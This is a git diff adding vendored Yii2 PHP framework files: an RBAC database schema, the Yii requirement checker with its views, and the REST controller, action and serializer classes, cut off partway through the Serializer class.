table if exists "auth_assignment"; +drop table if exists "auth_item_child"; +drop table if exists "auth_item"; +drop table if exists "auth_rule"; + +create table "auth_rule" +( + "name" varchar(64) not null, + "data" text, + "created_at" integer, + "updated_at" integer, + primary key ("name") +); + +create table "auth_item" +( + "name" varchar(64) not null, + "type" integer not null, + "description" text, + "rule_name" varchar(64), + "data" text, + "created_at" integer, + "updated_at" integer, + primary key ("name"), + foreign key ("rule_name") references "auth_rule" ("name") on delete set null on update cascade +); + +create index "auth_item_type_idx" on "auth_item" ("type"); + +create table "auth_item_child" +( + "parent" varchar(64) not null, + "child" varchar(64) not null, + primary key ("parent","child"), + foreign key ("parent") references "auth_item" ("name") on delete cascade on update cascade, + foreign key ("child") references "auth_item" ("name") on delete cascade on update cascade +); + +create table "auth_assignment" +( + "item_name" varchar(64) not null, + "user_id" varchar(64) not null, + "created_at" integer, + primary key ("item_name","user_id"), + foreign key ("item_name") references "auth_item" ("name") on delete cascade on update cascade +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/requirements/YiiRequirementChecker.php b/php/yii2/basic/vendor/yiisoft/yii2/requirements/YiiRequirementChecker.php new file mode 100644 index 00000000..a3dde228 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/requirements/YiiRequirementChecker.php @@ -0,0 +1,408 @@ + 'PHP Some Extension', + * 'mandatory' => true, + * 'condition' => extension_loaded('some_extension'), + * 'by' => 'Some application feature', + * 'memo' => 'PHP extension "some_extension" required', + * ), + * ); + * $requirementsChecker->checkYii()->check($requirements)->render(); + * ~~~ + * + * If you wish to render the report with your own representation, use [[getResult()]] instead of [[render()]] + * + * Requirement condition could be in format "eval:PHP expression". + * In this case specified PHP expression will be evaluated in the context of this class instance. + * For example: + * + * ~~~ + * $requirements = array( + * array( + * 'name' => 'Upload max file size', + * 'condition' => 'eval:$this->checkUploadMaxFileSize("5M")', + * ), + * ); + * ~~~ + * + * Note: this class definition does not match ordinary Yii style, because it should match PHP 4.3 + * and should not use features from newer PHP versions! + * + * @property array|null $result the check results, this property is for internal usage only. + * + * @author Paul Klimov + * @since 2.0 + */ +class YiiRequirementChecker +{ + /** + * Check the given requirements, collecting results into internal field. + * This method can be invoked several times checking different requirement sets. + * Use [[getResult()]] or [[render()]] to get the results. + * @param array|string $requirements requirements to be checked. + * If an array, it is treated as the set of requirements; + * If a string, it is treated as the path of the file, which contains the requirements; + * @return static self instance. + */ + function check($requirements) + { + if (is_string($requirements)) { + $requirements = require($requirements); + } + if (!is_array($requirements)) { + $this->usageError('Requirements must be an array, "' . gettype($requirements) . '" has been given!'); + } + if (!isset($this->result) || !is_array($this->result)) { + $this->result = array( + 'summary' => array( + 'total' => 0, + 'errors' => 0, + 'warnings' => 0, + ), + 'requirements' => array(), + ); + } + foreach ($requirements as $key => $rawRequirement) { + $requirement = $this->normalizeRequirement($rawRequirement, $key); + $this->result['summary']['total']++; + if (!$requirement['condition']) { + if ($requirement['mandatory']) { + $requirement['error'] = true; + $requirement['warning'] = true; + $this->result['summary']['errors']++; + } else { + $requirement['error'] = false; + $requirement['warning'] = true; + $this->result['summary']['warnings']++; + } + } else { + $requirement['error'] = false; + $requirement['warning'] = false; + } + $this->result['requirements'][] = $requirement; + } + + return $this; + } + + /** + * Performs the check for the Yii core requirements. + * @return YiiRequirementChecker self instance. + */ + function checkYii() + { + return $this->check(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'requirements.php'); + } + + /** + * Return the check results. + * @return array|null check results in format: + * + * ```php + * array( + * 'summary' => array( + * 'total' => total number of checks, + * 'errors' => number of errors, + * 'warnings' => number of warnings, + * ), + * 'requirements' => array( + * array( + * ... + * 'error' => is there an error, + * 'warning' => is there a warning, + * ), + * ... + * ), + * ) + * ``` + */ + function getResult() + { + if (isset($this->result)) { + return $this->result; + } else { + return null; + } + } + + /** + * Renders the requirements check result. + * The output will vary depending is a script running from web or from console. + */ + function render() + { + if (!isset($this->result)) { + $this->usageError('Nothing to render!'); + } + $baseViewFilePath = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'views'; + if (!empty($_SERVER['argv'])) { + $viewFileName = $baseViewFilePath . DIRECTORY_SEPARATOR . 'console' . DIRECTORY_SEPARATOR . 'index.php'; + } else { + $viewFileName = $baseViewFilePath . DIRECTORY_SEPARATOR . 'web' . DIRECTORY_SEPARATOR . 'index.php'; + } + $this->renderViewFile($viewFileName, $this->result); + } + + /** + * Checks if the given PHP extension is available and its version matches the given one. + * @param string $extensionName PHP extension name. + * @param string $version required PHP extension version. + * @param string $compare comparison operator, by default '>=' + * @return boolean if PHP extension version matches. + */ + function checkPhpExtensionVersion($extensionName, $version, $compare = '>=') + { + if (!extension_loaded($extensionName)) { + return false; + } + $extensionVersion = phpversion($extensionName); + if (empty($extensionVersion)) { + return false; + } + if (strncasecmp($extensionVersion, 'PECL-', 5) == 0) { + $extensionVersion = substr($extensionVersion, 5); + } + + return version_compare($extensionVersion, $version, $compare); + } + + /** + * Checks if PHP configuration option (from php.ini) is on. + * @param string $name configuration option name. + * @return boolean option is on. + */ + function checkPhpIniOn($name) + { + $value = ini_get($name); + if (empty($value)) { + return false; + } + + return ((integer) $value == 1 || strtolower($value) == 'on'); + } + + /** + * Checks if PHP configuration option (from php.ini) is off. + * @param string $name configuration option name. + * @return boolean option is off. + */ + function checkPhpIniOff($name) + { + $value = ini_get($name); + if (empty($value)) { + return true; + } + + return (strtolower($value) == 'off'); + } + + /** + * Compare byte sizes of values given in the verbose representation, + * like '5M', '15K' etc. + * @param string $a first value. + * @param string $b second value. + * @param string $compare comparison operator, by default '>='. + * @return boolean comparison result. + */ + function compareByteSize($a, $b, $compare = '>=') + { + $compareExpression = '(' . $this->getByteSize($a) . $compare . $this->getByteSize($b) . ')'; + + return $this->evaluateExpression($compareExpression); + } + + /** + * Gets the size in bytes from verbose size representation. + * For example: '5K' => 5*1024 + * @param string $verboseSize verbose size representation. + * @return integer actual size in bytes. + */ + function getByteSize($verboseSize) + { + if (empty($verboseSize)) { + return 0; + } + if (is_numeric($verboseSize)) { + return (integer) $verboseSize; + } + $sizeUnit = trim($verboseSize, '0123456789'); + $size = str_replace($sizeUnit, '', $verboseSize); + $size = trim($size); + if (!is_numeric($size)) { + return 0; + } + switch (strtolower($sizeUnit)) { + case 'kb': + case 'k': { + return $size * 1024; + } + case 'mb': + case 'm': { + return $size * 1024 * 1024; + } + case 'gb': + case 'g': { + return $size * 1024 * 1024 * 1024; + } + default: { + return 0; + } + } + } + + /** + * Checks if upload max file size matches the given range. + * @param string|null $min verbose file size minimum required value, pass null to skip minimum check. + * @param string|null $max verbose file size maximum required value, pass null to skip maximum check. + * @return boolean success. + */ + function checkUploadMaxFileSize($min = null, $max = null) + { + $postMaxSize = ini_get('post_max_size'); + $uploadMaxFileSize = ini_get('upload_max_filesize'); + if ($min !== null) { + $minCheckResult = $this->compareByteSize($postMaxSize, $min, '>=') && $this->compareByteSize($uploadMaxFileSize, $min, '>='); + } else { + $minCheckResult = true; + } + if ($max !== null) { + $maxCheckResult = $this->compareByteSize($postMaxSize, $max, '<=') && $this->compareByteSize($uploadMaxFileSize, $max, '<='); + } else { + $maxCheckResult = true; + } + + return ($minCheckResult && $maxCheckResult); + } + + /** + * Renders a view file. + * This method includes the view file as a PHP script + * and captures the display result if required. + * @param string $_viewFile_ view file + * @param array $_data_ data to be extracted and made available to the view file + * @param boolean $_return_ whether the rendering result should be returned as a string + * @return string the rendering result. Null if the rendering result is not required. + */ + function renderViewFile($_viewFile_, $_data_ = null, $_return_ = false) + { + // we use special variable names here to avoid conflict when extracting data + if (is_array($_data_)) { + extract($_data_, EXTR_PREFIX_SAME, 'data'); + } else { + $data = $_data_; + } + if ($_return_) { + ob_start(); + ob_implicit_flush(false); + require($_viewFile_); + + return ob_get_clean(); + } else { + require($_viewFile_); + } + } + + /** + * Normalizes requirement ensuring it has correct format. + * @param array $requirement raw requirement. + * @param integer $requirementKey requirement key in the list. + * @return array normalized requirement. + */ + function normalizeRequirement($requirement, $requirementKey = 0) + { + if (!is_array($requirement)) { + $this->usageError('Requirement must be an array!'); + } + if (!array_key_exists('condition', $requirement)) { + $this->usageError("Requirement '{$requirementKey}' has no condition!"); + } else { + $evalPrefix = 'eval:'; + if (is_string($requirement['condition']) && strpos($requirement['condition'], $evalPrefix) === 0) { + $expression = substr($requirement['condition'], strlen($evalPrefix)); + $requirement['condition'] = $this->evaluateExpression($expression); + } + } + if (!array_key_exists('name', $requirement)) { + $requirement['name'] = is_numeric($requirementKey) ? 'Requirement #' . $requirementKey : $requirementKey; + } + if (!array_key_exists('mandatory', $requirement)) { + if (array_key_exists('required', $requirement)) { + $requirement['mandatory'] = $requirement['required']; + } else { + $requirement['mandatory'] = false; + } + } + if (!array_key_exists('by', $requirement)) { + $requirement['by'] = 'Unknown'; + } + if (!array_key_exists('memo', $requirement)) { + $requirement['memo'] = ''; + } + + return $requirement; + } + + /** + * Displays a usage error. + * This method will then terminate the execution of the current application. + * @param string $message the error message + */ + function usageError($message) + { + echo "Error: $message\n\n"; + exit(1); + } + + /** + * Evaluates a PHP expression under the context of this class. + * @param string $expression a PHP expression to be evaluated. + * @return mixed the expression result. + */ + function evaluateExpression($expression) + { + return eval('return ' . $expression . ';'); + } + + /** + * Returns the server information. + * @return string server information. + */ + function getServerInfo() + { + $info = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : ''; + + return $info; + } + + /** + * Returns the now date if possible in string representation. + * @return string now date. + */ + function getNowDate() + { + $nowDate = @strftime('%Y-%m-%d %H:%M', time()); + + return $nowDate; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/requirements/requirements.php b/php/yii2/basic/vendor/yiisoft/yii2/requirements/requirements.php new file mode 100644 index 00000000..0be98bf7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/requirements/requirements.php @@ -0,0 +1,72 @@ + 'PHP version', + 'mandatory' => true, + 'condition' => version_compare(PHP_VERSION, '5.4.0', '>='), + 'by' => 'Yii Framework', + 'memo' => 'PHP 5.4.0 or higher is required.', + ), + array( + 'name' => 'Reflection extension', + 'mandatory' => true, + 'condition' => class_exists('Reflection', false), + 'by' => 'Yii Framework', + ), + array( + 'name' => 'PCRE extension', + 'mandatory' => true, + 'condition' => extension_loaded('pcre'), + 'by' => 'Yii Framework', + ), + array( + 'name' => 'SPL extension', + 'mandatory' => true, + 'condition' => extension_loaded('SPL'), + 'by' => 'Yii Framework', + ), + array( + 'name' => 'MBString extension', + 'mandatory' => true, + 'condition' => extension_loaded('mbstring'), + 'by' => 'Multibyte string processing', + 'memo' => 'Required for multibyte encoding string processing.' + ), + array( + 'name' => 'Mcrypt extension', + 'mandatory' => false, + 'condition' => extension_loaded('mcrypt'), + 'by' => 'Security Component', + 'memo' => 'Required by encrypt and decrypt methods.' + ), + array( + 'name' => 'Intl extension', + 'mandatory' => false, + 'condition' => $this->checkPhpExtensionVersion('intl', '1.0.2', '>='), + 'by' => 'Internationalization support', + 'memo' => 'PHP Intl extension 1.0.2 or higher is required when you want to use advanced parameters formatting + in Yii::t(), non-latin languages with Inflector::slug(), + IDN-feature of + EmailValidator or UrlValidator or the yii\i18n\Formatter class.' + ), + array( + 'name' => 'Fileinfo extension', + 'mandatory' => false, + 'condition' => extension_loaded('fileinfo'), + 'by' => 'File Information', + 'memo' => 'Required for files upload to detect correct file mime-types.' + ), + array( + 'name' => 'DOM extension', + 'mandatory' => false, + 'condition' => extension_loaded('dom'), + 'by' => 'Document Object Model', + 'memo' => 'Required for REST API to send XML responses via yii\web\XmlResponseFormatter.' + ), +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/console/index.php b/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/console/index.php new file mode 100644 index 00000000..4bb042e6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/console/index.php @@ -0,0 +1,36 @@ + $requirement) { + if ($requirement['condition']) { + echo $requirement['name'].": OK\n"; + echo "\n"; + } else { + echo $requirement['name'].': '.($requirement['mandatory'] ? 'FAILED!!!' : 'WARNING!!!')."\n"; + echo 'Required by: '.strip_tags($requirement['by'])."\n"; + $memo = strip_tags($requirement['memo']); + if (!empty($memo)) { + echo 'Memo: '.strip_tags($requirement['memo'])."\n"; + } + echo "\n"; + } +} + +$summaryString = 'Errors: '.$summary['errors'].' Warnings: '.$summary['warnings'].' Total checks: '.$summary['total']; +echo str_pad('', strlen($summaryString), '-')."\n"; +echo $summaryString; + +echo "\n\n"; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/web/css.php b/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/web/css.php new file mode 100644 index 00000000..2946a4de --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/web/css.php @@ -0,0 +1,6807 @@ + diff --git a/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/web/index.php b/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/web/index.php new file mode 100644 index 00000000..a864e560 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/requirements/views/web/index.php @@ -0,0 +1,81 @@ + + + + + Yii Application Requirement Checker + renderViewFile(dirname(__FILE__) . '/css.php'); ?> + + +
              +
              +

              Yii Application Requirement Checker

              +
              +
              + +
              +

              Description

              +

              + This script checks if your server configuration meets the requirements + for running Yii application. + It checks if the server is running the right version of PHP, + if appropriate PHP extensions have been loaded, and if php.ini file settings are correct. +

              +

              + There are two kinds of requirements being checked. Mandatory requirements are those that have to be met + to allow Yii to work as expected. There are also some optional requirements being checked which will + show you a warning when they do not meet. You can use Yii framework without them but some specific + functionality may be not available in this case. +

              + +

              Conclusion

              + 0): ?> +
              + Unfortunately your server configuration does not satisfy the requirements by this application.
              Please refer to the table below for detailed explanation.
              +
              + 0): ?> +
              + Your server configuration satisfies the minimum requirements by this application.
              Please pay attention to the warnings listed below and check if your application will use the corresponding features.
              +
              + +
              + Congratulations! Your server configuration satisfies all requirements. +
              + + +

              Details

              + + + + + + + + + + + +
              NameResultRequired ByMemo
              + + + + + + + +
              + +
              + +
              + + +
              + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/Action.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/Action.php new file mode 100644 index 00000000..7bacffdc --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/Action.php @@ -0,0 +1,104 @@ + + * @since 2.0 + */ +class Action extends \yii\base\Action +{ + /** + * @var string class name of the model which will be handled by this action. + * The model class must implement [[ActiveRecordInterface]]. + * This property must be set. + */ + public $modelClass; + /** + * @var callable a PHP callable that will be called to return the model corresponding + * to the specified primary key value. If not set, [[findModel()]] will be used instead. + * The signature of the callable should be: + * + * ```php + * function ($id, $action) { + * // $id is the primary key value. If composite primary key, the key values + * // will be separated by comma. + * // $action is the action object currently running + * } + * ``` + * + * The callable should return the model found, or throw an exception if not found. + */ + public $findModel; + /** + * @var callable a PHP callable that will be called when running an action to determine + * if the current user has the permission to execute the action. If not set, the access + * check will not be performed. The signature of the callable should be as follows, + * + * ```php + * function ($action, $model = null) { + * // $model is the requested model instance. + * // If null, it means no specific model (e.g. IndexAction) + * } + * ``` + */ + public $checkAccess; + + + /** + * @inheritdoc + */ + public function init() + { + if ($this->modelClass === null) { + throw new InvalidConfigException(get_class($this) . '::$modelClass must be set.'); + } + } + + /** + * Returns the data model based on the primary key given. + * If the data model is not found, a 404 HTTP exception will be raised. + * @param string $id the ID of the model to be loaded. If the model has a composite primary key, + * the ID must be a string of the primary key values separated by commas. + * The order of the primary key values should follow that returned by the `primaryKey()` method + * of the model. + * @return ActiveRecordInterface the model found + * @throws NotFoundHttpException if the model cannot be found + */ + public function findModel($id) + { + if ($this->findModel !== null) { + return call_user_func($this->findModel, $id, $this); + } + + /* @var $modelClass ActiveRecordInterface */ + $modelClass = $this->modelClass; + $keys = $modelClass::primaryKey(); + if (count($keys) > 1) { + $values = explode(',', $id); + if (count($keys) === count($values)) { + $model = $modelClass::findOne(array_combine($keys, $values)); + } + } elseif ($id !== null) { + $model = $modelClass::findOne($id); + } + + if (isset($model)) { + return $model; + } else { + throw new NotFoundHttpException("Object not found: $id"); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/ActiveController.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/ActiveController.php new file mode 100644 index 00000000..bdef9ea5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/ActiveController.php @@ -0,0 +1,135 @@ + + * @since 2.0 + */ +class ActiveController extends Controller +{ + /** + * @var string the model class name. This property must be set. + */ + public $modelClass; + /** + * @var string the scenario used for updating a model. + * @see \yii\base\Model::scenarios() + */ + public $updateScenario = Model::SCENARIO_DEFAULT; + /** + * @var string the scenario used for creating a model. + * @see \yii\base\Model::scenarios() + */ + public $createScenario = Model::SCENARIO_DEFAULT; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->modelClass === null) { + throw new InvalidConfigException('The "modelClass" property must be set.'); + } + } + + /** + * @inheritdoc + */ + public function actions() + { + return [ + 'index' => [ + 'class' => 'yii\rest\IndexAction', + 'modelClass' => $this->modelClass, + 'checkAccess' => [$this, 'checkAccess'], + ], + 'view' => [ + 'class' => 'yii\rest\ViewAction', + 'modelClass' => $this->modelClass, + 'checkAccess' => [$this, 'checkAccess'], + ], + 'create' => [ + 'class' => 'yii\rest\CreateAction', + 'modelClass' => $this->modelClass, + 'checkAccess' => [$this, 'checkAccess'], + 'scenario' => $this->createScenario, + ], + 'update' => [ + 'class' => 'yii\rest\UpdateAction', + 'modelClass' => $this->modelClass, + 'checkAccess' => [$this, 'checkAccess'], + 'scenario' => $this->updateScenario, + ], + 'delete' => [ + 'class' => 'yii\rest\DeleteAction', + 'modelClass' => $this->modelClass, + 'checkAccess' => [$this, 'checkAccess'], + ], + 'options' => [ + 'class' => 'yii\rest\OptionsAction', + ], + ]; + } + + /** + * @inheritdoc + */ + protected function verbs() + { + return [ + 'index' => ['GET', 'HEAD'], + 'view' => ['GET', 'HEAD'], + 'create' => ['POST'], + 'update' => ['PUT', 'PATCH'], + 'delete' => ['DELETE'], + ]; + } + + /** + * Checks the privilege of the current user. + * + * This method should be overridden to check whether the current user has the privilege + * to run the specified action against the specified data model. + * If the user does not have access, a [[ForbiddenHttpException]] should be thrown. + * + * @param string $action the ID of the action to be executed + * @param object $model the model to be accessed. If null, it means no specific model is being accessed. + * @param array $params additional parameters + * @throws ForbiddenHttpException if the user does not have access + */ + public function checkAccess($action, $model = null, $params = []) + { + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/Controller.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/Controller.php new file mode 100644 index 00000000..78026365 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/Controller.php @@ -0,0 +1,99 @@ + + * @since 2.0 + */ +class Controller extends \yii\web\Controller +{ + /** + * @var string|array the configuration for creating the serializer that formats the response data. + */ + public $serializer = 'yii\rest\Serializer'; + /** + * @inheritdoc + */ + public $enableCsrfValidation = false; + + + /** + * @inheritdoc + */ + public function behaviors() + { + return [ + 'contentNegotiator' => [ + 'class' => ContentNegotiator::className(), + 'formats' => [ + 'application/json' => Response::FORMAT_JSON, + 'application/xml' => Response::FORMAT_XML, + ], + ], + 'verbFilter' => [ + 'class' => VerbFilter::className(), + 'actions' => $this->verbs(), + ], + 'authenticator' => [ + 'class' => CompositeAuth::className(), + ], + 'rateLimiter' => [ + 'class' => RateLimiter::className(), + ], + ]; + } + + /** + * @inheritdoc + */ + public function afterAction($action, $result) + { + $result = parent::afterAction($action, $result); + return $this->serializeData($result); + } + + /** + * Declares the allowed HTTP verbs. + * Please refer to [[VerbFilter::actions]] on how to declare the allowed verbs. + * @return array the allowed HTTP verbs. + */ + protected function verbs() + { + return []; + } + + /** + * Serializes the specified data. + * The default implementation will create a serializer based on the configuration given by [[serializer]]. + * It then uses the serializer to serialize the given data. + * @param mixed $data the data to be serialized + * @return mixed the serialized data. + */ + protected function serializeData($data) + { + return Yii::createObject($this->serializer)->serialize($data); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/CreateAction.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/CreateAction.php new file mode 100644 index 00000000..63a761ed --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/CreateAction.php @@ -0,0 +1,61 @@ + + * @since 2.0 + */ +class CreateAction extends Action +{ + /** + * @var string the scenario to be assigned to the new model before it is validated and saved. + */ + public $scenario = Model::SCENARIO_DEFAULT; + /** + * @var string the name of the view action. This property is need to create the URL when the model is successfully created. + */ + public $viewAction = 'view'; + + + /** + * Creates a new model. + * @return \yii\db\ActiveRecordInterface the model newly created + * @throws \Exception if there is any error when creating the model + */ + public function run() + { + if ($this->checkAccess) { + call_user_func($this->checkAccess, $this->id); + } + + /* @var $model \yii\db\ActiveRecord */ + $model = new $this->modelClass([ + 'scenario' => $this->scenario, + ]); + + $model->load(Yii::$app->getRequest()->getBodyParams(), ''); + if ($model->save()) { + $response = Yii::$app->getResponse(); + $response->setStatusCode(201); + $id = implode(',', array_values($model->getPrimaryKey(true))); + $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true)); + } elseif (!$model->hasErrors()) { + throw new ServerErrorHttpException('Failed to create the object for unknown reason.'); + } + + return $model; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/DeleteAction.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/DeleteAction.php new file mode 100644 index 00000000..7c28a06b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/DeleteAction.php @@ -0,0 +1,40 @@ + + * @since 2.0 + */ +class DeleteAction extends Action +{ + /** + * Deletes a model. + * @param mixed $id id of the model to be deleted. + * @throws ServerErrorHttpException on failure. + */ + public function run($id) + { + $model = $this->findModel($id); + + if ($this->checkAccess) { + call_user_func($this->checkAccess, $this->id, $model); + } + + if ($model->delete() === false) { + throw new ServerErrorHttpException('Failed to delete the object for unknown reason.'); + } + + Yii::$app->getResponse()->setStatusCode(204); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/IndexAction.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/IndexAction.php new file mode 100644 index 00000000..3597d7f6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/IndexAction.php @@ -0,0 +1,64 @@ + + * @since 2.0 + */ +class IndexAction extends Action +{ + /** + * @var callable a PHP callable that will be called to prepare a data provider that + * should return a collection of the models. If not set, [[prepareDataProvider()]] will be used instead. + * The signature of the callable should be: + * + * ```php + * function ($action) { + * // $action is the action object currently running + * } + * ``` + * + * The callable should return an instance of [[ActiveDataProvider]]. + */ + public $prepareDataProvider; + + + /** + * @return ActiveDataProvider + */ + public function run() + { + if ($this->checkAccess) { + call_user_func($this->checkAccess, $this->id); + } + + return $this->prepareDataProvider(); + } + + /** + * Prepares the data provider that should return the requested collection of the models. + * @return ActiveDataProvider + */ + protected function prepareDataProvider() + { + if ($this->prepareDataProvider !== null) { + return call_user_func($this->prepareDataProvider, $this); + } + + /* @var $modelClass \yii\db\BaseActiveRecord */ + $modelClass = $this->modelClass; + + return new ActiveDataProvider([ + 'query' => $modelClass::find(), + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/OptionsAction.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/OptionsAction.php new file mode 100644 index 00000000..bf95fbe8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/OptionsAction.php @@ -0,0 +1,42 @@ + + * @since 2.0 + */ +class OptionsAction extends \yii\base\Action +{ + /** + * @var array the HTTP verbs that are supported by the collection URL + */ + public $collectionOptions = ['GET', 'POST', 'HEAD', 'OPTIONS']; + /** + * @var array the HTTP verbs that are supported by the resource URL + */ + public $resourceOptions = ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']; + + + /** + * Responds to the OPTIONS request. + * @param string $id + */ + public function run($id = null) + { + if (Yii::$app->getRequest()->getMethod() !== 'OPTIONS') { + Yii::$app->getResponse()->setStatusCode(405); + } + $options = $id === null ? $this->collectionOptions : $this->resourceOptions; + Yii::$app->getResponse()->getHeaders()->set('Allow', implode(', ', $options)); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rest/Serializer.php b/php/yii2/basic/vendor/yiisoft/yii2/rest/Serializer.php new file mode 100644 index 00000000..aacf7535 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rest/Serializer.php @@ -0,0 +1,274 @@ + + * @since 2.0 + */ +class Serializer extends Component +{ + /** + * @var string the name of the query parameter containing the information about which fields should be returned + * for a [[Model]] object. If the parameter is not provided or empty, the default set of fields as defined + * by [[Model::fields()]] will be returned. + */ + public $fieldsParam = 'fields'; + /** + * @var string the name of the query parameter containing the information about which fields should be returned + * in addition to those listed in [[fieldsParam]] for a resource object. + */ + public $expandParam = 'expand'; + /** + * @var string the name of the HTTP header containing the information about total number of data items. + * This is used when serving a resource collection with pagination. + */ + public $totalCountHeader = 'X-Pagination-Total-Count'; + /** + * @var string the name of the HTTP header containing the information about total number of pages of data. + * This is used when serving a resource collection with pagination. + */ + public $pageCountHeader = 'X-Pagination-Page-Count'; + /** + * @var string the name of the HTTP header containing the information about the current page number (1-based). + * This is used when serving a resource collection with pagination. + */ + public $currentPageHeader = 'X-Pagination-Current-Page'; + /** + * @var string the name of the HTTP header containing the information about the number of data items in each page. + * This is used when serving a resource collection with pagination. + */ + public $perPageHeader = 'X-Pagination-Per-Page'; + /** + * @var string the name of the envelope (e.g. `items`) for returning the resource objects in a collection. + * This is used when serving a resource collection. When this is set and pagination is enabled, the serializer + * will return a collection in the following format: + * + * ```php + * [ + * 'items' => [...], // assuming collectionEnvelope is "items" + * '_links' => { // pagination links as returned by Pagination::getLinks() + * 'self' => '...', + * 'next' => '...', + * 'last' => '...', + * }, + * '_meta' => { // meta information as returned by Pagination::toArray() + * 'totalCount' => 100, + * 'pageCount' => 5, + * 'currentPage' => 1, + * 'perPage' => 20, + * }, + * ] + * ``` + * + * If this property is not set, the resource arrays will be directly returned without using envelope. + * The pagination information as shown in `_links` and `_meta` can be accessed from the response HTTP headers. + */ + public $collectionEnvelope; + /** + * @var Request the current request. If not set, the `request` application component will be used. + */ + public $request; + /** + * @var Response the response to be sent. If not set, the `response` application component will be used. + */ + public $response; + + + /** + * @inheritdoc + */ + public function init() + { + if ($this->request === null) { + $this->request = Yii::$app->getRequest(); + } + if ($this->response === null) { + $this->response = Yii::$app->getResponse(); + } + } + + /** + * Serializes the given data into a format that can be easily turned into other formats. + * This method mainly converts the objects of recognized types into array representation. + * It will not do conversion for unknown object types or non-object data. + * The default implementation will handle [[Model]] and [[DataProviderInterface]]. + * You may override this method to support more object types. + * @param mixed $data the data to be serialized. + * @return mixed the converted data. + */ + public function serialize($data) + { + if ($data instanceof Model && $data->hasErrors()) { + return $this->serializeModelErrors($data); + } elseif ($data instanceof Arrayable) { + return $this->serializeModel($data); + } elseif ($data instanceof DataProviderInterface) { + return $this->serializeDataProvider($data); + } else { + return $data; + } + } + + /** + * @return array the names of the requested fields. The first element is an array + * representing the list of default fields requested, while the second element is + * an array of the extra fields requested in addition to the default fields. + * @see Model::fields() + * @see Model::extraFields() + */ + protected function getRequestedFields() + { + $fields = $this->request->get($this->fieldsParam); + $expand = $this->request->get($this->expandParam); + + return [ + preg_split('/\s*,\s*/', $fields, -1, PREG_SPLIT_NO_EMPTY), + preg_split('/\s*,\s*/', $expand, -1, PREG_SPLIT_NO_EMPTY), + ]; + } + + /** + * Serializes a data provider. + * @param DataProviderInterface $dataProvider + * @return array the array representation of the data provider. + */ + protected function serializeDataProvider($dataProvider) + { + $models = $this->serializeModels($dataProvider->getModels()); + + if (($pagination = $dataProvider->getPagination()) !== false) { + $this->addPaginationHeaders($pagination); + } + + if ($this->request->getIsHead()) { + return null; + } elseif ($this->collectionEnvelope === null) { + return $models; + } else { + $result = [ + $this->collectionEnvelope => $models, + ]; + if ($pagination !== false) { + return array_merge($result, $this->serializePagination($pagination)); + } else { + return $result; + } + } + } + + /** + * Serializes a pagination into an array. + * @param Pagination $pagination + * @return array the array representation of the pagination + * @see addPaginationHeaders() + */ + protected function serializePagination($pagination) + { + return [ + '_links' => Link::serialize($pagination->getLinks(true)), + '_meta' => [ + 'totalCount' => $pagination->totalCount, + 'pageCount' => $pagination->getPageCount(), + 'currentPage' => $pagination->getPage(), + 'perPage' => $pagination->getPageSize(), + ], + ]; + } + + /** + * Adds HTTP headers about the pagination to the response. + * @param Pagination $pagination + */ + protected function addPaginationHeaders($pagination) + { + $links = []; + foreach ($pagination->getLinks(true) as $rel => $url) { + $links[] = "<$url>; rel=$rel"; + } + + $this->response->getHeaders() + ->set($this->totalCountHeader, $pagination->totalCount) + ->set($this->pageCountHeader, $pagination->getPageCount()) + ->set($this->currentPageHeader, $pagination->getPage() + 1) + ->set($this->perPageHeader, $pagination->pageSize) + ->set('Link', implode(', ', $links)); + } + + /** + * Serializes a model object. + * @param Arrayable $model + * @return array the array representation of the model + */ + protected function serializeModel($model) + { + if ($this->request->getIsHead()) { + return null; + } else { + list ($fields, $expand) = $this->getRequestedFields(); + return $model->toArray($fields, $expand); + } + } + + /** + * Serializes the validation errors in a model. + * @param Model $model + * @return array the array representation of the errors + */ + protected function serializeModelErrors($model) + { + $this->response->setStatusCode(422, 'Data Validation Failed.'); + $result = []; + foreach ($model->getFirstErrors() as $name => $message) { + $result[] = [ + 'field' => $name, + 'message' => $message, 